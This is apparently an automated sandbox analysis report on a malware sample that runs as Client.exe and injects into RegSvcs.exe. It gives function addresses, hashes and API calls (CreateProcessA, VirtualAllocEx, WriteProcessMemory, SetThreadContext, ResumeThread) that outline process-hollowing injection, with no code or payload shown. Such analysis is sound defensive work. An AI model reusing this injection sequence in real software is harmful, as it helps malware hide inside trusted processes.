Source File: 0000000F.00000002.1000064619.000000000010D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0010D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_10d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c34041e36760ac2be757d32eacb4820c2675f10f3119b4b838b5f57255b8c280
Instruction ID: f6294076c241bc2ab735ca571803c05b5857aa31bff97a272061c8b8b7b63158
Opcode Fuzzy Hash: c34041e36760ac2be757d32eacb4820c2675f10f3119b4b838b5f57255b8c280
Instruction Fuzzy Hash: 5621AFB6404280DFCB16CF50E9C4B1ABF72FB84314F24C5A9D9444B656C33AD826CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0010D50F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1000064619.000000000010D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0010D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_10d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e0eb5f64e9d98e6057156d14d80c040d3d52ec1448806123a22752ec917bec3
Instruction ID: e3350a641e5594698a70ea1db9d88b4ffa337d6ac71a4ae89b28fe45c1f067c3
Opcode Fuzzy Hash: 3e0eb5f64e9d98e6057156d14d80c040d3d52ec1448806123a22752ec917bec3
Instruction Fuzzy Hash: B011D376404280CFCB16CF54E9C4B1ABF71FB84324F24C6A9DC454B656C376D956CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00B20738 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1002503375.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b20000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afbf249cc783ffe2fd717b1a262c3d16f79949419e83ecbd70f41bc9453c3c56
Instruction ID: c3a50d2309bba3064a1b4ae8109f075d5adb94fcb8a39b19e38ce9a924373959
Opcode Fuzzy Hash: afbf249cc783ffe2fd717b1a262c3d16f79949419e83ecbd70f41bc9453c3c56
Instruction Fuzzy Hash: D211657465D3815FD312673895517353BF59B82700F1680F2E604CB6E7E538DC0A8B51

Uniqueness

Uniqueness Score: -1.00%

Function 00B2065B Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1002503375.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_b20000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5be5816dd6a94415091939b45f3bfd9dab911c9e42b94919821ef5e5c7aa3a7
Instruction ID: e93ee18cec64c5990f32925fa994baa923bffa4bb1014cc2fb7f2ab70a88992c
Opcode Fuzzy Hash: d5be5816dd6a94415091939b45f3bfd9dab911c9e42b94919821ef5e5c7aa3a7
Instruction Fuzzy Hash: 1B0185306006048FCB20BB74E18527EB3E2EFC4214F10887CC09A87B50DF39AC6AC782

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Client.exePID: 1920, Parent PID: 2244COMMON

Execution Graph

Execution Coverage:	37.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	31
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00263B1D Relevance: 1.8, APIs: 1, Instructions: 344
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00263E3A

Memory Dump Source

Source File: 00000014.00000002.999247078.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_260000_Client.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: d1a77da2479c35adbe14606520cc62a3ce05cd58676a09375e087d7b303b7d20
Instruction ID: 1b24f11f251a97e5ceacbda88e97700dba81e2fd4128821d98068785b9ab637f
Opcode Fuzzy Hash: d1a77da2479c35adbe14606520cc62a3ce05cd58676a09375e087d7b303b7d20
Instruction Fuzzy Hash: 44D15870D04259CFDB20CFA8C845BEDBBB1BF49314F0095AAE509B7280DB749A95CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00263B28 Relevance: 1.8, APIs: 1, Instructions: 339
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00263E3A

Memory Dump Source

Source File: 00000014.00000002.999247078.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_260000_Client.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 8a8d6846874c3a3134d3fef21933b3a23ed9cc893ea3258e193a7a2e3bc595b1
Instruction ID: 71a15164b12718ef2cfb989bbe85ecd2e10468ac8aba0d845bd4e9c33a5177ae
Opcode Fuzzy Hash: 8a8d6846874c3a3134d3fef21933b3a23ed9cc893ea3258e193a7a2e3bc595b1
Instruction Fuzzy Hash: 8BD13770D04219CFDB20CFA8C845BEDBBB1BF49314F0095AAE519B7280DB749A95CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00264658 Relevance: 1.6, APIs: 1, Instructions: 120
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00264733

Memory Dump Source

Source File: 00000014.00000002.999247078.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_260000_Client.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 9ecb8874b24c1cf74070f3071af814ac7b44f071435d2816691bb422ee39e9cd
Instruction ID: f3cc49c2f48806f2286ddbe41a48b21ed9f85821b00ec4ef45f7344ac8a10331
Opcode Fuzzy Hash: 9ecb8874b24c1cf74070f3071af814ac7b44f071435d2816691bb422ee39e9cd
Instruction Fuzzy Hash: C341ABB4D012589FCF00CFA9D984AEEFBF1BB4A314F14942AE814B7210D735AA55CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00264660 Relevance: 1.6, APIs: 1, Instructions: 116
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00264733

Memory Dump Source

Source File: 00000014.00000002.999247078.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_260000_Client.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 500931419ed756e2c2c7498ead138fa5603c5e448cc83570ac7ca04ddad487c2
Instruction ID: dc0400976931dedc15a28d81539d598fcac3016c323385717b5f981096f6864c
Opcode Fuzzy Hash: 500931419ed756e2c2c7498ead138fa5603c5e448cc83570ac7ca04ddad487c2
Instruction Fuzzy Hash: 51419AB4D012589FCF00CFA9D984AEEFBF1BB49314F24942AE814B7240D775AA55CF54

Uniqueness

Uniqueness Score: -1.00%

Function 002648B1 Relevance: 1.6, APIs: 1, Instructions: 105
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00264962

Memory Dump Source

Source File: 00000014.00000002.999247078.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_260000_Client.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c90d8afceab7b975241e7394f626a5c912b3c890c991e160772bed0173423102
Instruction ID: 1bb59dfe236d23e8c8e81f64a053cb85bc45480f892ce42e9e8443e4dced9402
Opcode Fuzzy Hash: c90d8afceab7b975241e7394f626a5c912b3c890c991e160772bed0173423102
Instruction Fuzzy Hash: 9341A7B8D052489FCF00CFA9D884AEEBBB1BF49310F10942AE815BB310D735A955CF65

Uniqueness

Uniqueness Score: -1.00%

Function 002648B8 Relevance: 1.6, APIs: 1, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00264962

Memory Dump Source

Source File: 00000014.00000002.999247078.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_260000_Client.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fe640aca82800945a9003d40a44e33f3fd12de29ea27a72cab162be45882c4a5
Instruction ID: 98719cb717cf42c466d0f0257697f45ce0a7031285f825078f66d732a79bf8e1
Opcode Fuzzy Hash: fe640aca82800945a9003d40a44e33f3fd12de29ea27a72cab162be45882c4a5
Instruction Fuzzy Hash: B431A6B8D012589FCF00CFA9D884AEEFBB1BB49310F10A42AE815B7300D735A955CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00264000 Relevance: 1.6, APIs: 1, Instructions: 94
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 002640AF

Memory Dump Source

Source File: 00000014.00000002.999247078.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_260000_Client.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 6bce4596937d612bc1d5f7372119e1a0a7f3aa941dee297aee82b63888267fec
Instruction ID: 747c39b1cccfc7d9b83ae8d59e0f62cc2378435f7f4aa83e08131387b081e492
Opcode Fuzzy Hash: 6bce4596937d612bc1d5f7372119e1a0a7f3aa941dee297aee82b63888267fec
Instruction Fuzzy Hash: C531CDB4D012589FCB14DFA9D884AEEFBF0BF49314F14842AE414B7240D779A989CF95

Uniqueness

Uniqueness Score: -1.00%

Function 002649D8 Relevance: 1.6, APIs: 1, Instructions: 73
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 00264A56

Memory Dump Source

Source File: 00000014.00000002.999247078.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_260000_Client.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: ab7e752fd37003c8a60219db8efd133e3939e6136bff54239d8e1684948f7f58
Instruction ID: aa1c491a7d18fdc3c03fa941191cff7859e285cf4c9d9c57f580dde709db6f2d
Opcode Fuzzy Hash: ab7e752fd37003c8a60219db8efd133e3939e6136bff54239d8e1684948f7f58
Instruction Fuzzy Hash: B031CAB4D112189FCB10CFA9D884AAEFBB0BF49314F14942AE815B7300D735A941CF95

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegSvcs.exePID: 2176, Parent PID: 1920COMMON

Execution Graph

Execution Coverage:	26.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	465
Total number of Limit Nodes:	15

Executed Functions

Function 02094DA8 Relevance: 6.9, APIs: 1, Strings: 2, Instructions: 1647COMMON

Download Yara Rule

Strings

K, xrefs: 020956B6
P, xrefs: 020956A9

Memory Dump Source

Source File: 00000015.00000002.1192579326.0000000002090000.00000040.00000800.00020000.00000000.sdmp, Offset: 02090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2090000_RegSvcs.jbxd

Similarity

API ID:
String ID: K$P
API String ID: 0-420285281
Opcode ID: 5b10711781f77d7c82472fb6117d544981a828c34c3a6590cc6f3f102616e5e8
Instruction ID: 33950ee03af95e3e8226f1a685cbe4a6c290f05590c11a3aa466541b717abb53
Opcode Fuzzy Hash: 5b10711781f77d7c82472fb6117d544981a828c34c3a6590cc6f3f102616e5e8
Instruction Fuzzy Hash: 88D28C74B002008FDF62CB29C894B6EBBF2EB49314F60856AE556DB7A1C731EC45EB51

Uniqueness

Uniqueness Score: -1.00%

Function 003F74EA Relevance: 3.3, APIs: 2, Instructions: 347
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 003F74EA
KiUserExceptionDispatcher.NTDLL ref: 003F796D

Memory Dump Source

Source File: 00000015.00000002.1190856478.00000000003F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3f0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 19392fc16954bff2c1d05439393b2769daec504858f383d374e696c6f94b1585
Instruction ID: 7f3820b7cd33a4ec1cc3e334490b1062c83b0b44a0f96c43d4084b361e9b1e9d
Opcode Fuzzy Hash: 19392fc16954bff2c1d05439393b2769daec504858f383d374e696c6f94b1585
Instruction Fuzzy Hash: 1A02B43490522CCFCB66DF28C988AA9F772BF49305F2089E9D40AA7750DB319E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 003F750B Relevance: 1.8, APIs: 1, Instructions: 347
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 003F796D

Memory Dump Source

Source File: 00000015.00000002.1190856478.00000000003F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3f0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 19718c4ff86c16b620bc13e2ba4dc0f7f841de7ae31ad4204954b466063cb5b1
Instruction ID: a2964a621a7e7dba3fa12815e6f12dd7c6516ce652fbe441cc5c96296db456c0
Opcode Fuzzy Hash: 19718c4ff86c16b620bc13e2ba4dc0f7f841de7ae31ad4204954b466063cb5b1
Instruction Fuzzy Hash: C102A43490522CCFCB66DF68C988AA9F772BF49305F2089E9D40AA7750DB319E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 003F7550 Relevance: 1.8, APIs: 1, Instructions: 338
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 003F796D

Memory Dump Source

Source File: 00000015.00000002.1190856478.00000000003F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3f0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 4e2ac94bb10088ac5df06451ab2894003f57fbe716ee6c80477ad9d678dba1bf
Instruction ID: d96e85650ced49239ea2fea7fc1a2b8dc609636e668f220cc54476f92e8d8b9d
Opcode Fuzzy Hash: 4e2ac94bb10088ac5df06451ab2894003f57fbe716ee6c80477ad9d678dba1bf
Instruction Fuzzy Hash: 8502B53490522CCFCB65DF68C988AA9F772BF49305F2089E9D40AA7750DB319E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 003F758C Relevance: 1.8, APIs: 1, Instructions: 333
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 003F796D

Memory Dump Source

Source File: 00000015.00000002.1190856478.00000000003F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3f0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 94116a3cf2362a56d0897352c7eb1652bc0f64fa6667fce4d089567627bc7fea
Instruction ID: 8bcbc863ca52ff25a5fa6bf6f5767d44f9c387597b9c52d728e5c4dc9d57eee4
Opcode Fuzzy Hash: 94116a3cf2362a56d0897352c7eb1652bc0f64fa6667fce4d089567627bc7fea
Instruction Fuzzy Hash: 6202A53490522CCFCB66DF68C988AA9F772BF49305F2089E9D40AA7750DB319E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 003F75D1 Relevance: 1.8, APIs: 1, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 003F796D

Memory Dump Source

Source File: 00000015.00000002.1190856478.00000000003F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3f0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: e0a13413a5c3bed4909ea18e753da2e9bc6014d9263cedb0d99c442867d1f02d
Instruction ID: e288f33000e76dfa57401c35732f503a156cd6364dc3dbe012cc208dfd96c257
Opcode Fuzzy Hash: e0a13413a5c3bed4909ea18e753da2e9bc6014d9263cedb0d99c442867d1f02d
Instruction Fuzzy Hash: 7802B43490522CCFCB66DF68C988AA9F772BF49305F2089E9D40AA7750DB319E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 003F7616 Relevance: 1.8, APIs: 1, Instructions: 319
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 003F796D

Memory Dump Source

Source File: 00000015.00000002.1190856478.00000000003F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3f0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 1d4b09bdf3a037a692958861a088319af4930e6cf0cc842cce9728fbe3d6e7e8
Instruction ID: 5339f03a4cb2e45aac1b3c8b0a23fa5875d45b1667c587682666fcd1800ad6d0
Opcode Fuzzy Hash: 1d4b09bdf3a037a692958861a088319af4930e6cf0cc842cce9728fbe3d6e7e8
Instruction Fuzzy Hash: 3BF1B43490522CCFCB66DF68C988AA9F772BF49305F2089E9D40AA7750DB319E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 003F765B Relevance: 1.8, APIs: 1, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 003F796D

Memory Dump Source

Source File: 00000015.00000002.1190856478.00000000003F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3f0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 451bb384ef13845297140c359cba94bd29fdbb7af8ced5b0c53f48235e7f9ad5
Instruction ID: 50ea0fc169bc7952066dcd3f5237cecc76bcebb092dfa6b11f5e2fd3a321e9c3
Opcode Fuzzy Hash: 451bb384ef13845297140c359cba94bd29fdbb7af8ced5b0c53f48235e7f9ad5
Instruction Fuzzy Hash: 5DF1A53490522CCFCB65DF68C988AA9F7B2BF49305F2089E9D40AA7750DB319E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 003F76A0 Relevance: 1.8, APIs: 1, Instructions: 305COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 003F796D

Memory Dump Source

Source File: 00000015.00000002.1190856478.00000000003F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3f0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 37a634d3f728d03032c30b072f9e9fdcc5b1d455a0f1e38ee9fa65c93482d4e9
Instruction ID: d68d4c3ce32152406fc870d244728a3676868f74a8c89bce457dc04870a4789a
Opcode Fuzzy Hash: 37a634d3f728d03032c30b072f9e9fdcc5b1d455a0f1e38ee9fa65c93482d4e9
Instruction Fuzzy Hash: D5F1A43490522CCFCB66DF68C988AA9F772BF49305F2089E9D40AA7750DB319E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 003F76E5 Relevance: 1.8, APIs: 1, Instructions: 296COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 003F796D

Memory Dump Source

Source File: 00000015.00000002.1190856478.00000000003F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3f0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: fbebabc7f59691434cc5adda541307a502026895cdc7193f61b27dd24244873f
Instruction ID: cf37b916a8dea753f9c1f19acb0c155092f21d482e9e5e251cee8c5df3be1243
Opcode Fuzzy Hash: fbebabc7f59691434cc5adda541307a502026895cdc7193f61b27dd24244873f
Instruction Fuzzy Hash: 66F1B43490622CCFCB65DF68C988AA9F772BF49305F2089E9D40AA7750DB319E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 003F7721 Relevance: 1.8, APIs: 1, Instructions: 291COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 003F796D

Memory Dump Source

Source File: 00000015.00000002.1190856478.00000000003F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3f0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 8c74b3e85167f608971dd292ec69be2cfed05ebcb7566d6f1082b498ca16c0a8
Instruction ID: d4a47ca070c5892a5a1ac0b4694b1853a433d0fd0a1170512f377e9d0e899ab3
Opcode Fuzzy Hash: 8c74b3e85167f608971dd292ec69be2cfed05ebcb7566d6f1082b498ca16c0a8
Instruction Fuzzy Hash: 0CE1B53490622CCFCB65DF68C988AA9F772BF49305F2089E9D40AA7750DB319E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 003F7766 Relevance: 1.8, APIs: 1, Instructions: 284COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 003F796D

Memory Dump Source

Source File: 00000015.00000002.1190856478.00000000003F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3f0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: b755415365f20ce6dc474623e3a14420b18702f4ad35515de453a4a8c7ba88e1
Instruction ID: ee5fd0b8cee13ff31b5cb52dca540307559bb68e570bea88726e35bb206b3585
Opcode Fuzzy Hash: b755415365f20ce6dc474623e3a14420b18702f4ad35515de453a4a8c7ba88e1
Instruction Fuzzy Hash: 0CE1A53490622CCFCB65DF68C988AA9F772BF49305F2089E9D40AA7750DB319E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 003F77AB Relevance: 1.8, APIs: 1, Instructions: 277COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 003F796D

Memory Dump Source

Source File: 00000015.00000002.1190856478.00000000003F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3f0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 3c8f3c081442e4989edf7b01f24a247577d9d368809b1cd9586d510a7cf110fe
Instruction ID: 9a90a85b484f1c4f93abe8005bfeb061ccbfed42de06df12b49d4bb5c445ed6c
Opcode Fuzzy Hash: 3c8f3c081442e4989edf7b01f24a247577d9d368809b1cd9586d510a7cf110fe
Instruction Fuzzy Hash: ECE1B53490622CCFCB65DF68C988AA9F772BF49305F6089E9D40AA7750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 003F77F0 Relevance: 1.8, APIs: 1, Instructions: 270COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 003F796D

Memory Dump Source

Source File: 00000015.00000002.1190856478.00000000003F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3f0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: f3b629a289e94692e4541ae2f99df83871816ffc154bd0757795f3911a45a1a3
Instruction ID: 594465a900ea86fc3a5685e253434f677cf85ae92a26b14b44412d93e8863342
Opcode Fuzzy Hash: f3b629a289e94692e4541ae2f99df83871816ffc154bd0757795f3911a45a1a3
Instruction Fuzzy Hash: C6E1A53490522CCFCB65DF68C998AA9F772BF49305F2089E9D40AA7750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 003F7835 Relevance: 1.8, APIs: 1, Instructions: 263COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 003F796D

Memory Dump Source

Source File: 00000015.00000002.1190856478.00000000003F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3f0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: ad8fbde7ef80251e352a534b5f843396df930394a119441b66db9dfec80b4596
Instruction ID: ec8dca9fc9987ab218f223836c684d962bff4f605b7e108aa17bb110af0b0119
Opcode Fuzzy Hash: ad8fbde7ef80251e352a534b5f843396df930394a119441b66db9dfec80b4596
Instruction Fuzzy Hash: 76D1B63490522CCFCB65DF68C998AA9F772BF49305F2089E9D40AA7750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 003F787A Relevance: 1.8, APIs: 1, Instructions: 256COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 003F796D

Memory Dump Source

Source File: 00000015.00000002.1190856478.00000000003F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3f0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: e1e65fe296c4edc1eb759e2285f103aaf64ab11b8c3e4ebe653c62736f935bb7
Instruction ID: 08d398620cd835a39746fb4fda49c32dc89916bed810f11ea9a62e554c7fefc9
Opcode Fuzzy Hash: e1e65fe296c4edc1eb759e2285f103aaf64ab11b8c3e4ebe653c62736f935bb7
Instruction Fuzzy Hash: B0D1A63490622CCFCB65DF68C998AA9F772BF49305F2089E9D40AA7750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 003F78BF Relevance: 1.7, APIs: 1, Instructions: 249COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 003F796D

Memory Dump Source

Source File: 00000015.00000002.1190856478.00000000003F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3f0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 8cb123b980c0101c82d5afb7704b3d8c5948af584e3cf026a7cd80d152d4d1d6
Instruction ID: b13ee7717d25765f427e85461cc1b9eea56ce2a79911369761e33308e61df5f2
Opcode Fuzzy Hash: 8cb123b980c0101c82d5afb7704b3d8c5948af584e3cf026a7cd80d152d4d1d6
Instruction Fuzzy Hash: 9ED1B53490622CCFCB65DF68C998AA9F772BF49305F2089E9D40AA7750DB319E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 003F7904 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 003F796D

Memory Dump Source

Source File: 00000015.00000002.1190856478.00000000003F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3f0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: f53a9b65195d00647ec420f5318a71f97bd87310d1f9ab92579ff7442b8b5cb4
Instruction ID: 355281d435facc154f4b1c866d880f4ecc4feb2d96976c81ec016b6309c11383
Opcode Fuzzy Hash: f53a9b65195d00647ec420f5318a71f97bd87310d1f9ab92579ff7442b8b5cb4
Instruction Fuzzy Hash: 17C1A33490622CCFCB65DF68C988AA9F772BF49305F2089E9D40AA7750DB319E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 003F7949 Relevance: 1.7, APIs: 1, Instructions: 235COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 003F796D

Memory Dump Source

Source File: 00000015.00000002.1190856478.00000000003F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_3f0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
